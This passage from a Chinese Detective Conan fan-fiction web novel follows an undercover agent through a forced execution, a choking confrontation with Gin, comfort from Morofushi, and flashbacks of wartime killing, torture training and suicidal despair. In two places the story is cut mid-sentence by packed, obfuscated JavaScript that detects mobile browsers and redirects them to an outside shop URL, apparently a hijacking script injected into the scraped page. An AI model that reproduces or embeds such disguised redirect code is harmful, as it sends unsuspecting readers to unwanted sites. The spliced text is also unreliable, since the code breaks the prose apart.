“那么,现在,Gin,我们貌似是平级了。”玛克白兰地把那只电话摆在了一边,扭头咧起嘴角,对正在看着证据的珀洛塞可接着挑衅道,“珀洛塞可,现在由你杀了这位记者先生吧。” 青年拿着资料证据的手猛地一紧,侧头冷盯着一边试图发号施令的男人:“我想你没资格命令我。” “我没资格?那是不是只有琴酒才有资格命令你?”男人看起来又快笑出声了,一边坐着的宾加同样观赏着这出琴酒倒大霉的好戏。“还是说是你不敢动手啊,你不会也是叛徒吧,我们琴酒手下难道又要出一个叛徒吗?” “我是说你、没资格———” “动手,珀洛塞可。”电话并没有挂断,“我有这个资格吗?” 乌丸莲耶。 黑色的瞳孔一缩。 这些人想用他作为信号来敲打琴酒。 珀洛塞可明显感觉到来自琴酒的恨意更重了。 “哈。”他放下手中的东西,勾起一个极为虚假的微笑,然后恭敬道,“您早说是您的要求。” “我当然。”他和琴酒那双幽绿的眼睛对视了一瞬,欠了下身,“完全听从于您啊。” 珀洛塞可拿出了枪支,缓缓走进那位只和他有一面之缘的人前。 刚刚那份资料证据显示这个人的真名叫秋山一彦。 这人不叫艾尔,这个代号真难听。 他伸手,勉强把那人扶正,然后背对着身后的人和监控摄像头,平淡地说道:“你还有什么想说的吗?” 那人抬了抬已经被血糊住的眼,看着青年无声的口型。 『我是公安。』 “算我善良,我可以帮你转达一些遗言。” 那人摇头,但是嘴唇依旧翕动着想说点什么,却什么都被吞进了无声的干涸的喉管里。 精神力值降低至10% 【东京都新宿区新宿五丁目3-5-1】 他听到了。 他知道了。 对不起。 那个人可能是用尽了所有力气朝他扯了下嘴角,长达一整夜的折磨让那个笑容已经有点模糊。 “晚安。” 枪声响起了。 138 【“瑟克尔核心控制区”】 “安全总署的陈副署长,就是那个陈先生,竟然是阿蒂斯的人。” “阿蒂斯到底有什么好的,那种人竟然也会是阿蒂斯的间谍??” “现在怎么处理啊?这人也没死,就是没反应而已。” “精神画布的问题,让那个精神系的来,那个那个,去通知那个竹取无尘。” 他最后只看到了那个人灰下来的瞳孔。 那个破诅咒———放在精神系能力者身上,很大程度上就是用于防止他们精神系给阿蒂斯高层官僚施加精神控制的破诅咒。 他听见自己勉强撑住了正常的音色。 “没救了,救不回来的,这是阿蒂斯的东西导致的。” “那算了,反正也是从上面拖下来看看还能不能说点什么情报的。” “反正你也顺路在这里,把他弄死了丢出去哈,我们先去吃饭了。” “好。” 好。 枪声响起了。 他帮他合上了眼。 139 他帮他合上了眼。 140 今天的夜晚太漫长了,影子在月光下越发明显,像坠进无声的海里。 诸伏景光从另外一侧的训练基地开车出来,正好发现站在酒吧门口拿着手机疯狂发消息的竹取无尘,他摇下了车窗,对着外面的青年说道:“上车吧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16645867|184862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“我正好顺路,听说你开的是偷来的车啊。” 青年看着驾驶座的人,眨眨眼,确认了附近没人后,勉强笑了一下,坐进了副驾驶。 “发生什么事了?”猫眼青年敏锐地察觉到了一边人似乎有些不太对。 竹取无尘摇了摇头,张了下嘴,最后变成了一声叹息。 “诸伏,这里附近哪里有卖折星星的纸吗?” “有是有,附近有24小时便利店,里面应该有文创类的产品。”诸伏景光答道,“但是为什么要买这个?” “太黑了。” “因为太黑了。”青年的声线带着一丝不易察觉的哽塞,“如果看不到月亮的话,有星星会不会好一点?” “不然他们会迷路的。” 他救不回来那个人,如果他动手了,那附近全是组织的地盘,没有太多的武器,他们会两个人一起折在那里。 他刚刚一出来就安排桐生晴迅速去查取了秋山一彦的所有信息,安排人手去转移保护了这人的家人好友,他听到的那个地址也已经着手开始探查。 还好他进去了,还好动手的是他,他听到了,他可以帮他们完成没有完成的事情。 个人的道德困境不能够影响现实大众的利益,不然就是他太伪善了。 别去想这么多,都无所谓。 电车轨道另外一边的人走下来了。 手上沾了太多的血,一条又一条的罪状贴上来,不过无所谓,都无所谓,他要把这些事情做完。 怪他吧,无所谓,个人的罪名只是最轻的惩罚。 为什么不能再快一点,再快一点。 “你到底………” “有个叫秋山一彦的记者暴露了。”他皱着眉,又摇了摇头,“被玛克白兰地抓住的,但是是我动的手。” 诸伏景光把车停靠在了便利店一侧,他看见竹取无尘喉头艰难地滚动了一下,然后一言不发地下了车,半晌后又拿着一包星星纸上了车。 “你想说什么呢?”青年上车的时候看到了诸伏景光那双蓝色的瞳孔里面写满了复杂的神色。 这不怪他?不是他杀的?如果不是他的话,动手的就会是别人?听起来很像宏大叙事泯灭了个体存在,但是事实确实如此?这句话已经被说烂了。 不需要宽恕,更不需要什么怜悯,这些东西甚至比道德的困境还要没用,他要带着这些人没做完的事走下去,把这个天杀的见鬼的破组织和那一堆破药一起送下地狱。 活着才是对亡灵的告慰,无论是对于死在他手上的同伴,还是对于死在他手上的敌人。 让这具身体接着走下去。 “我想说,”诸伏景光把着方向盘,侧头瞄了一眼已经开始折星星的竹取无尘。 “我想说你为什么不多买一包?” “等我一会把车开到你安全屋楼下,我和你一起折。” 青年的指尖一顿,没有看向同伴,依旧盯着手上未完成的那颗星星,喉间溢出一声轻微地应答声。 “嗯。” “我留半包给你。” 两个人在车内折完了一整包星星纸,却又只留下来了一小瓶,其余的被竹取无尘拿出去找了个安全的地方,用一撮小小的火星,把星星送到了对岸。 烟尘带着余温,随着冬夜里寒凉的风,去向不知名的地方。 这里太黑了,回去的时候不要看不清路了。 回家吧,路上已经安全了。 火焰燃起的点点星光在诸伏景光蓝色的瞳孔里倒映出另外的暖意,他顺手摸出来了口袋里的烟,却又想起一边的人,放了回去。 竹取无尘看到了诸伏景光的动作,温声道:“想抽就抽吧。” “不,算了。”猫眼青年同样温声回应,“你接下来有任务吗?” “有。”青年想到了刚刚发生的事,“我和琴酒商量好了。” “你和琴酒?”诸伏景光撇见了一侧的人衣领下那明显的掐痕———对面显然动了真实的杀意。 火焰已经将近熄灭,黑夜同样也快褪去。 但是有人留在了这天的夜晚。 “对。”竹取无尘肯定道,“我和琴酒。” “过两天我会去一趟美国。” 在哪里,他这个日本公安可就不当日本公安了。 52.第 52 章 141 【三小时前。】 整个任务定了下来,玛克白兰地带着一堆人又乌泱泱地离开,珀洛塞可联系了人帮忙处理好了尸体,除了未擦净的血迹,没人能推断出这里曾经发生过了什么。 “大人,原田净三还在车后备箱躺着。”珀洛塞可顺势坐回了吧台边的空座,一侧的琴酒一言不发地背靠墙抽着烟。 “他可和玛克白兰地有直接的沟通啊,要是他死了,你的嫌疑可就大了。” 这人的势力可着实被削弱了。 “你现在知道的还真多。”男人走近了些,把已经快燃尽的烟蒂按灭在了烟灰缸里,顺手脱下了那件常穿的黑色大衣,对折后平整地放在身旁的空椅上,拢了拢白色毛衣的高领,“为什么要进来?” “我好奇心重。”青年坐着转了过来,背靠着吧台,双手随意的搭在后方的桌子上,“不可以吗?” “好奇心重?”琴酒冷嘲了一下,一直戴着的黑色礼帽也被随手置在一旁,“我看你就是急着想看被处理的老鼠是谁吧?” “我还真是忽略了,玛克白兰地他们对你来说还真是一个好机会,你不会是知道了原田净三他们那边的打算,特意来找玛克白兰地他们合作的?” “怎么,生怕我杀了玛克白兰地,破坏了你的跳槽计划?” 多疑的人真麻烦。 不过确实,他所有的把柄都在琴酒这个人手上,琴酒要是被拽下来了,对他百利而无一害。 但是现在情况不一样了。 珀洛塞可黑色的瞳孔扫了下对方,带着笑意道:“我还以为我们已经不是之前那种威胁与被威胁的关系了。” “大人,你也听到了,外面都说你收了条忠犬啊。”他接着站起,同样把装着一堆武器的大衣脱下来丢放到一边,“都这样了您还要怀疑我,那我还真是要伤心了。” “让你好好说话。”杀手的声线里带着些被压抑的怒意,今天一茬又一茬的麻烦着实让他些许的烦躁。 “要获得您的信任还真难。”青年摇了摇头,身上藏着的刀刃也被他一件又一件摸出摆在琴酒面前,踱步到一边的卡座上坐下,“我相信你也不想和我兜圈子了。” 他一顿,随即说出了那个今天刚刚知晓的药物名称:“banana fish。” 词汇刚刚落下,紧接着——— “嘭。” 沉闷的撞击声响起。珀洛塞可的脊背被一股巨大的力量狠按在了卡座的真皮靠背上,对侧杀手的手扼住了他的脖颈,指节深陷进了颈侧,后颈刚好紧贴住卡座后方的弧度,他只能被迫仰着头,看向上方那双近在咫尺的绿眸。 “你确实知道得够多。”男人并没有用下狠劲,保证留给了对面人一丝说话的空间。 “因为不止你一个人和他们有仇。”青年又把头往上仰了仰,赖以呼吸的气管被压迫的感觉并不好受。 “不然你觉得我日子过得好好的,为什么非要来进组织,还一定要混上高层?” 琴酒的拇指指节微动,直接按在了手下人的颈动脉上,声音低沉:“是吗?” 杀手今天难得没有戴手套,鼓动着的血管在指腹底下传达的信号越发清晰。 “你刚刚的意思可是要保原田净三啊,这就是你说的有仇?” “他要是死了,我就要有麻烦了。”珀洛塞可眯了下眼,喉间艰难地滚动了一下,然后直接扯开袖子,露出那道狰狞的疤痕,半举着靠在皮革沙发上。 “今天在场的所有人可都看见了,原田净三带走的人质手臂上有这道疤。” “要是被玛克白兰地查出来,原田净三又死了,我们两个可就一起被拽下水了。” “那个人要是死了,对我们都不好。现在和科西嘉财团为敌的人才是叛徒。” “我真的很惜命的。” 琴酒冷绿的眸子依旧盯着珀洛塞可的黑瞳,手中的力道紧了些,对面的呼吸出现了明显的受阻,气流的声音在放大。 “接着说,有仇又是怎么回事?” “哈。”青年试图往后靠些许,尽可能给自己多留出一点呼吸空间,卡座的沙发皮革被压出了些许褶皱,“我有一位故人的死因可能和他们有关。” 陈无是块砖,哪里需要往哪搬。 “所以你利用我查那边的事情?” “我不否认。”脖子上受到的力道更重了,甚至有越发收拢的趋势,但是被扼住的人却依旧没有一点反抗的动作,他歪了下头,盯着对方的眼睛,艰难道,“琴酒,我不否认我利用你。” “但那又怎么样?我不是把你所有的任务都完成了吗?接下来我还能帮你做更多的事情。” “你被人坑了啊……你不想杀回去我还想杀回去。” “还从来……没有人敢用那种语气命令我。” “互相利用多了…不就是合作关系吗?” 珀洛塞可语速比平时慢了许多,在话语之间混杂着不少嘶哑的气流声,那人蹙着眉,却依旧撑着一个不算好看的笑容。 男人看着这人的神色,接着问:“你还是没有回答你为什么要进来。” “情报。”青年刚刚半举在一边的手毫不挣扎地垂落在了卡座上,太阳穴带着眼睛在跳动,“我说了我要………报仇…我要更多的…情报。” “所以三年前你才会出现在那里?” 缺氧让视野有些模糊着发黑,那双绿瞳都不太真切。 这琴酒怎么有这么多问题。 他剧本都是临时编的,再编下去就又要乱套了,而且怎么又有三年前的事情啊。 都说了三年前他躺废墟里睡得舒服得不行来着。 “你也…哈……可以…这么理解。”他尽力地从喉间挤出几个模棱两可的字眼,又试着通过努力往后仰让自己的气管避让开那只死按着的手,不过全都化成了徒劳。 杀手依旧保持着这个姿势,指腹下动脉跳动的频率由于缺氧引起了正常范围内升高,那双黑瞳一直毫不避让地盯着他,没有任何的异常。 琴酒没有接着问话,他审视了一下这个依旧盯着他的人,银色的长发些许落在卡座上,指节却猛然收紧,碾碎了面前人最后一点喘息的余地,掌下的肌肉骤然绷紧,挤出来了些许破碎声响。 他在等,他在等着面前这人像之前那样随便从哪里变出来一把凿冰刀抵在他喉咙上,可是那把刀刃却一直没再出现,意外的顺从让杀意在临界点凝滞住。 他看见那双黑瞳已经开始涣散失焦,皱了下眉,扼住脖颈的手骤然松开,仿佛丢弃一件毫无价值的物品一样。 冰凉的空气重新透过气管灌进了肺部,珀洛塞可猛地把身体前倾,用手背抵住了嘴唇,不可抑制而急促的喘息声带着肩膀和胸腔都在起伏,他撇了一眼已经坐在他面前的杀手,混着沉重的气喘重新咧出了一个笑容。 “哈……怎么样……大人……你好像很意外啊?” 声音带着明显的嘶哑,甚至已经只能算是气音。 “你要是敢说什么死在你手上我也心甘情愿之类的恶心话,我现在就能重新送你上天。” 男人背靠卡座椅背,垂眸俯视着面前人狼狈的样子。 “那还真…哈…遗憾……”青年用掌心稍微按压抚顺了一下堵在自己胸口的气息,原本扎起的头发在刚刚的动作里又散了一些碎发下来。 “把气喘明白了再说话。”杀手早已经拿起一旁的威士忌在手中轻晃,“你想怎么做?” 青年伸手拉了拉衬衣领子,稍微遮挡了一下脖间那一整圈已经青紫而显得可怖的伤痕,呼吸缓慢地平稳了下来。 “原田净三逃跑的时候被条子抓了,导致banana fish情报走漏。”他抬头看向在浅酌的琴酒,声音依旧有些哑,“本来也就是他走漏的,刚掰了他一只手就直接说了。” “看看还有没有他们的人想去把原田净三灭口,我觉得肯定会有。” “然后呢?”那杯威士忌依旧在那人手上晃着,昏黄的光线折射在起伏的酒水里,总觉得让人有些晕眩。 “然后?”珀洛塞可笑着站了起来,一只手撑在桌子上,“然后找机会杀了玛克白兰地。” “有我的一份功劳,所以我只有一个要求。”他直接伸手拿过了对方手上的酒杯,搁置在木桌上发出一身“咔哒”的轻响。 “别让他死得太好看。” 琴酒饶有兴致地看着面前人脸上的明晃晃的冷意。 “你倒是终于说了一句好听的话。” “不用客气。”青年坐回了座位,盯了一眼被他放在远处的外套和武器,又转回头,对面人的视线同样从那边的武器上转移了回来。“以及………” “我送你个东西吧,琴酒。” 杀手看着面前人的动作,绿瞳微缩。 一把短刀。 不知道被珀洛塞可从哪里摸出来的一把短刀,现在正平静地放在桌子上。 那人还坐在刚刚那个座位,根本就没有挪动过,还是那一身看起来无害的、什么都藏不住的黑色衬衣。 刚刚那个距离太近了,按照珀洛塞可的暗杀能力,动作到底谁更快,根本就是一个未知命题。 “我说了我们已经不是威胁和被威胁的关系了。”青年扭了下头,那道伤痕在领子下有些藏不住,“送你了,这可比陶瓷刀片更好用。” 既然琴酒和乌丸莲耶有仇———他确实是一点都不介意让这个人变成他真正的好队友的。 他起身走去了吧台,重新倒了两杯酒水拿了过来,那杯晃得他有些发晕的威士忌被推去一边,取而代之的是一只还沾着不少水雾的香槟杯。 “所以我和你一起去美国,怎么样?” 他一如之前那样,举杯在另外一杯玻璃杯上轻碰了一下。 起泡酒是琴酒不怎么碰的东西,更别提prosecco这种低度果酒。而现在,那只香槟杯上倒映出桌面上一侧的短刀,刀刃的形状被折射得些许扭曲。 男人扯了一下嘴角:“你真是难得连着说出来两句好听的话。” “毕竟起泡酒很容易入口,大人。” 珀洛塞可笑看着杀手接过了酒水。 “合作愉快。” 142 “你们就是这么商量的?”诸伏景光看着面前的人对着镜子给脖子上那圈伤痕上着药,叹口气接过了药膏。 “我也没有别的办法了。”青年闭了闭眼,“必须要查清楚那个药是什么才行。” 药膏带着凉意,被诸伏景光缓缓涂在了竹取无尘自己没有注意到的地方。 他的脖子真是多灾多难。 一天之内又是差点被炸死,又是差点被掐死的。 “原田净三呢?”猫眼青年合上了药膏的盖子。 “已经通知降谷他们派人直接把车开走了,人也在后备箱里。”青年同样叹了口气,视角落在了那一瓶纸星星上。 他伸手,所剩不多的纸星星装在玻璃小瓶里被他拿起。 “去美国的时间定下来之后通知我们一声。”诸伏景光顺手帮那人把药膏放回了柜子,“你………” 他看到竹取无尘盯着那瓶星星正在出神。 “……………” “其实你和我都知道,纸星星是不能照亮前面的路的,对吧?”青年没有抬头,声线里带着平淡,“只是因为活着的人需要一些安慰而已。” “我………”他又接着哽塞了一下,“抱歉,是我把话题带沉重了。” 诸伏景光已经够累的了。 快点,再快一点,不能让他们的努力白费了。 “不,没有。”诸伏景光在青年对侧坐了下来,“我知道你在想什么。” “你在想———不要给我添麻烦,你觉得把话说出来对我会是一种负担。” “我以为我们是朋友了,朋友之间说这种话不是负担。” “就像你新年的时候,完全没有必要以感谢为由送那几份礼物一样。” 这人太疏离了。 他顿了一下,接着道:“吃糖吗,竹取?” 青年看着面前被推过来巧克力,笑了一声:“我还是第一次在这里被送巧克力吃。” “我的荣幸。”诸伏景光那双好看的猫眼弯了弯。 竹取无尘拿过糖果,糖纸被拆开放在了一边,甜意在口腔里蔓开。 他垂了垂眸,自嘲道:“我还以为我可以自己调理好。” “结果还是和以前一样懦弱。” “这是什么坏事吗?”对面的人温声道,“这从来不是什么坏事,竹取,就算是真的懦弱又怎么样?我们又不是什么杀人机器,这代表了我们还是人。” 善良从来都不是过错。 “是吗?”他抬眼看向那双静谧的蓝眸。 “是啊。”诸伏景光给予了肯定的回复,“我之前也在想这个问题。” “我在想我会不会不够适合这个职业,我在想我会不会犹豫,到最后,我发现那其实不是罪,它是一条回去的路。” 仇恨和杀戮原来不是必需品。 因为有了那份被骂作『懦弱』的善良,他们才更加不会犹豫。 “我花了很长很长的时间才想明白这件事。” “………”青年张了张嘴,水雾突然些许遮盖了视线,又在眨眼间消退了下来。 他依旧盯着那瓶纸星星,静默半晌。 “谢谢。” 这个世界真不错。 “如果你非要说这么多谢谢的话,那我只能回答同等数量的不客气了。”诸伏景光调侃着,随即看到了已经大亮的天,“我再陪你多坐一会吧。” “不用了。”巧克力已经完全被口腔的温度融化了,只剩下些许的甜意,青年对着对面的人带着笑意道,“不用了,我想我好多了。” “谢……不……算了,再说一次谢谢吧。”他发现自己除了感谢竟然找不到能说的,“那就感谢诸伏警部优秀的话疗了。” “不客气。”诸伏景光同样带着笑意回应,起身走到了门口,“那我先走了,你早点休息。” “你也是啊,诸伏警部。”他冲着门口那人挥了挥手,“早点休息。” 已经很早了,外面天都亮了。 屋内落回平静,青年揉了揉发胀的太阳穴,好几天的连轴转着实让人感到些疲倦。 窗帘全部拉死,白昼喧嚣的光线被尽数挡在了外面,就着昏暗但柔和的光,他静静地在床上坐了一会,耳边一直吵闹着的哭声和哀嚎在消退,一种静谧而饱满的声音托住了身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16653626|184862||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 躯。 青年打开手机,确认了没有别的消息发送来,钻回被子,头稳稳地陷在绵软的枕头里,棉质的床单触感微凉,很快便被体温熨帖得温暖。 脖颈间伤痕的灼热感被药膏的冰凉带走了许多。 天花板是平静的白。 直到最后模糊的意识把偶尔遥远传来的车鸣声变得单调。 最后一丝的念头也悄然滑走。 143 【“ 阿蒂斯联邦边域肃防部队”】 14岁。 “不行!” “这个任务不能这么做,他们都是平民,有些甚至连异能都没有。” “这和屠杀有什么区别?” 他摇头看着面前的上级,脖颈间的精神力抑制环猛地被扯过,带着整个人向前倒去。 “平民?”看不清面容的人质问着他,“你知道他们这个平民区藏着什么东西吗?你知道那些武器会对我们自己的民众造成怎么样的影响吗?” “那总会有别的办法。” “你能预料到浪费掉的时间里会出现什么差错吗?” “犹豫了,死的人只会更多!” “你可以不去,那你今天就在这里坐着,好好看着那些人是怎么死的。” “你不去做,有的是人去做,你去做了,那些人可能还会死得轻松一点。” 他看不清楚枪那边的人,他看不清楚电车轨道另外一边的人————或者说,战争开始后,早就没有电车了,只有炮火,无止境的、代替星光照亮夜空的炮火。 动手啊!!开枪啊!! “你想当英雄?你想手上不沾血?你想干干净净地走出去?那么就有更多人因你而死,你倒是把自己摘出去了,因为你的懦弱,死的就会是别人!” “在这种时代你和我谈善良?纸上谈兵的大善人,枪都不敢开的胆小鬼,我看你就是个彻头彻尾的伪君子罢了。” “这是战争,睁开你的眼睛走出去看看!看看那些人带着仇恨的眼神!你怎么敢说他们是无辜的?” “孩子?对面是个孩子?外面五六岁孩子都已经学会开枪了!他们的子弹会打在我们的民众身上———你得去杀了他们!他们是敌人!” “你高洁的道德感只会成为杀死别人的利刃。” “难怪你们精神系的人这么少,这么好用的能力拿给你们也是浪费。” “拿起枪之后,杀死的第一个人是自己。” 是不是忘了自己是谁就好了?把自己当成机器就好了? 是不是把自己忘掉就好了啊?!?!?? 精■力值_:&2_;8''■、■ 他看着那些人在他面前倒下了。 是不是忘了自己是谁就好了? 为什么什么都看不清楚。 血从眼眶里面淌了出来,糊成一团,撑着这具身体走下去的东西裂开了不小的缝隙。 做这些事情都是在为了什么啊? 黑发少年缩在房间的最角落。 天色太暗了,是因为血糊住了眼睛吗? 他试图起身,那些被他杀死的人的面孔却突然撞进了什么都看不清楚的眼睛里,哀嚎声又把他钉回了原地。 气息仿佛进不到肺里,呼吸越发地急促,面颊都在发麻。 好冷,太冷了。 房间明明已经开了制暖设施,为什么脊背在止不住地抖?为什么手依旧这么冰? 他甚至连哭都哭不出来了———一个刽子手,一个战争加害者,有什么资格哭的。 他是谁来着? 他是……是……… 那块画布的缝隙裂开得更大了。 血流像泪水一样顺着脸颊往下淌。 他把手捂在嘴边,试着用呵出的暖气抑制住逐渐流走的体温,却毫无用处。 温热的液体同样从鼻腔流了出来,擦不干净———越擦越花———整个人在发着晕,脑袋都像被搅过了一圈。 要不就这样吧,要不随便吧,让一切都在今天晚上结束吧,他已经有太久太久太久没有好好睡过一觉了。 死亡像摇篮曲一样轻轻安抚着人。 那会是一场真正安稳的睡眠,那里不会有哭声,他可以在那里,去放置他那些躁动的、无处安放疲惫。 少年把手放在了蜷缩着的膝上,轻轻靠住了一边,墙角反而被衬得愈发像一个与世无争的安稳巢穴,冷硬的墙面被体温反哺成一种温凉而妥帖的支撑。 在这份由自己体温构筑起来的安稳里,他缓缓阖上眼。 他终于可以不用看见一日复一日的白昼了。 事情可以结束了,他可以不用再纠结了。 明天终于可以不用照常到来了。 明天? ……………… 不。 不……不不不不……不对不行……不可以不可以……醒过来…醒过来………明天还有任务,是转移任务,他负责要帮着边境的居民转移。 不行…不对……他有事情没有做完……他太懦弱了,太懦弱了!!醒过来醒过来醒过来醒过来醒过来醒过来醒过来醒过来醒过来。 他不能无休止地沉溺在痛苦里面———仿佛让自己痛苦着去死就是一种赎罪一样————懦弱!他为什么一直都这么懦弱!!连赎罪的方式都是这么懦弱!! 他不可以崩溃,这个身份让他不可以崩溃,这个异能让他不可以崩溃。 站起来。他得站起来。为什么,为什么还是动不了,对不起,对不起对不起对不起对不起对不起对不起对不起对不起对不起不不不不不对不对。 不对。 想想办法。想想办法。他得把自己找回来,他得跟着什么东西走———为什么没有光啊?为什么这么黑啊?!! 胃在痉挛。 少年猛地睁开眼,血红色依旧挡住了不少视线,不明液体咕哝的声响混着呼吸声在耳边逐渐放大,他大口大口地喘着气,试着扒着墙站起来,却又猛地脱力摔了下去。 不,别想了,什么都别想了,不重要,那些事都不重要。 他把手紧握成拳砸向了地面,动用着全部的力气把自己的上半身撑了起来。 上级说得对,还好去做那些事的人是他,不是那帮嗜杀成性的强攻系,还好去动手的人是他。 他不用是谁,他就是他自己。 地上的人努力顺出了一口气,呼吸的节奏被掌控回,勉强扶着墙站了起来。 无所谓,都无所谓,别去想这么多。 他认了,他承认自己的卑劣,承认自己的懦弱,承认自己的每一条罪状,承认自己做过的所有的事情。 忘掉自己不过就是在欺骗自己而已,这条路行不通。 他早就应该睁眼看看真实的世界了,他总要在真实的世界里面给自己摸索出一条路。 精神力值恢复至70% 他早该把自己捡起来拼好的———这样说不定还能做点更多的事。 现在,把血擦干净。 他早该站起来了。 真是懦弱的废物。 144 所以失忆未尝不是一件好事。 那天,他见到他的第一天———这是他从他眼睛里读懂的第一段话。 53.第 53 章 145 【?】 “所以我现在要和你去哪?”他跟在那个人身后,其实他也不知道自己怎么就真的跟着这个人走了。 什么都记不得了,过去是一片白茫茫的夜。 不过无所谓,他相信自己的选择。 “跟着走吧,我又不会害你。”那人笑了,“你只是记不得了而已,我是带你去做你之前做的事情。” “是吗?”他没有看向一侧的人,只是跟着往前方走去,“你刚刚说我叫什么来着?” 那人顿了一下,说道:“你叫竹取无尘。” “这样啊。”青年微微颔首,“那我是做什么的?” “你叫竹取无尘,你是阿蒂斯官方特卫科的潜入执行官。”那个人不知道为什么和背诵一样说出了这段话,“你是高级精神系能力者,主要能力为窃听,你为阿蒂斯联邦合众国服务,现在在瑟克尔党派下核心控制区的安全总署进行潜入工作。” 竹取无尘挑了挑眉:“间谍特工?” “对啊,间谍特工。”一边的人顺手捋了一下高高束起的马尾,黑发被风带起了些许。 竹取无尘:“那你叫什么?” 那人又顿了一下,答道:“我叫陈无。” “我的身份和你一样。”陈无笑着在一边停住,按开了训练室的门,“不过你什么都记不得了,身手也不行,太弱了,现在回瑟克尔你会死的。” “我总觉得你这话说得好难听。”青年挑了挑眉,“而且我失忆了还要接着上班吗?” “肯定要啊,不然你想去哪?”男人走进房,开始着手调试着设备,“异能的事情不着急,那个上手很快,我们只有一个月的时间,我会让你恢复到之前起码40%的水平。” “你?”竹取无尘同样走进房,打量着这一整件间什么乱七八糟的东西都有的地方,“你可以吗?” “这个世界上只有我可以了。”那人朝着他眨了眨眼,“今天就开始吧,我们按照以前的训练方法来。” “也只有我知道你是怎么走过来的了。” 他看向站在操控台的那个人。 他觉得他应该信任他。 明明这次只是第一次见面。 无所谓了,他相信自己的选择。 “好。”他点了点头,“所以要练什么?” “代码能力、突袭暗杀、撬锁、拆乱七八糟的机关、审讯技巧以及抗审讯训练。”陈无甩给他了一直细长的针剂,“感知同步针剂,你手边那个是模拟器,戴在头上,把针剂往脖子上打,痛觉会被放大同步过去,那一沓文件就是今天的情报,说出来了就不痛了。” “但是外面可就有人要死了,死的会是你的同僚,会是不知情的民众,会是很多很多的人。”那人看了一眼他,声线带着平淡,像是一件极为普通的事情,“所以什么都别说,最起码也要熬过窗口期。” “我会在这边操纵控制器同步到你那边,毕竟不可能真的去揍你一顿。”那个人想到了什么,突然又笑了,“不过你要是想,我也不介意的。” 竹取无尘一脸无语地把视线从那枚及其眼熟的针剂上面挪开,看着对面好像有点开心的人:“你果然脑子有病。” “不过,”青年极其顺手地把针剂中的药液扎进了自己的脖子里,“为什么要这么做?” “被发现了留一颗子弹给自己不就行了吗?” “你觉得呢?”陈无已经坐在了操控台的后方,那双和他几乎一模一样的黑瞳看了过来。 “因为太轻了。”他下意识地答了出来,“因为这条命太轻了,这份筹码太单薄了。” “因为不是什么时候都有自决的机会的,因为这具身体的命不在自己的手里。” “因为总要去试试看,看看这条命可以换点什么东西?如果能换出来暴露的原因那是最好,这样就可以把自己当成耗材,让后面的人踩着我们过去?” “反正……不重要?” 他皱着眉看向对面的人,他不知道为什么自己这段话说得这么顺口。 那人垂了垂眸,笑着说:“反正我们什么都不会说出去的。” “所以总要去试试看。” “看看还能做点什么事。” 活着真恶心,但是不得不接着活下去。 因为你渴求的夏夜,最终都会来临。* “模拟器,带上吧。”男人示意了一下那个面罩一样的东西。 竹取无尘看了一眼一侧的机械装置,伸手拿起后掂量了两下,熟练地扣罩在了头部。 “从现在开始,竹取无尘。” “保持安静。” 记忆在闪动。 【保持安静。】 【“阿蒂斯 中央涉密情报总署”】 15岁。 “嘭。” 眼球是视器的主要组成部分,位于眼眶内,后端通过视神经与间脑相连。* 模拟结束,少年猛地扯开了头上的东西,喘着气跪倒在了地上。 呼吸。呼吸。 周身是浓重的黑,什么都看不到。 眼球。 眼球是视器的主要组成部分,位于■■内,后端通过视神经与间脑相连。 黑发少年伸手,他确认了眼睛还安安稳稳地放在眼眶里。 疼痛依旧顺着脊柱攀爬在五脏六腑,烧灼着皮肤上的感官,每一次的呼吸都扯着要把胃给吐出来,手的骨头正正地放着,没有被以奇怪的姿势扭转。 手的骨头■■地放着,■■被以奇怪的姿势扭转。 手。 疼痛是假的。 疼痛是■的。 阿蒂斯情报总署的这帮人真是要在沉默中变态了。 没有关系,反正身上没有伤口。他吐出一口气,看到一边突然亮起的任务通知,皮肤被骨头撑开的感觉依旧存留在手上,少年晃了晃头,站直了身,保持着虚伪的笑容走向另一侧的刑讯室。 上级需要这个人的口供。 而上级需要他闭嘴。 保持安静。 保持安静。 声音是不被允许的。 他用在面前这些人身上的每一个逼供的手法,在不久后又会在模拟器里面被用在他自己的身上。他用什么手段获得的情报,就要学会在什么手段下闭嘴。 被害者和加害者都是他自己。 活该。真是活该。 他看见自己挖出来了自己的眼睛。 什么都别说出去。 那双带着黑色虹膜的眼球掉在了地上。 保持安静。 你不被允许在这里使用你的能力,他们都是被下过精神锁的死士,强行运用精神搜控只会导致情报的真实性受损。 不用这些手段,他就得不到这些情报。 这些情报能让边境的人活下来。 他在沉默中上交了好几份口供,那日的太阳高悬,他为什么依旧看不太清楚回去的路。 眼球真的还在眼眶里吗? 还好他身边没有任何人,不然那帮老东西就要怀疑到他身边的人上去了。 保持安静。 又是一整天的工作以及训练。 这帮涉密情报总署的人真的是十个出来五个自杀四个发疯一个变态。 真是没把人当人———巴不得这些知道太多的下属死得越快越好,反正不缺人干活,坏掉了就换一批新的。 他强忍着不适回到了在基地的安全屋,骨头扭曲的感觉让他拿着杯子的手突然晃了一下,水同样沉默地洒在了地上。 少年垂眸盯了一会,控制着一边的清洁机器把水渍擦净,坐回沙发里。 无所谓,喉咙被割开的感觉也让他现在也喝不下水。 他尝试闭眼,睡眠是一场安全的麻醉。 但是太安静了。< 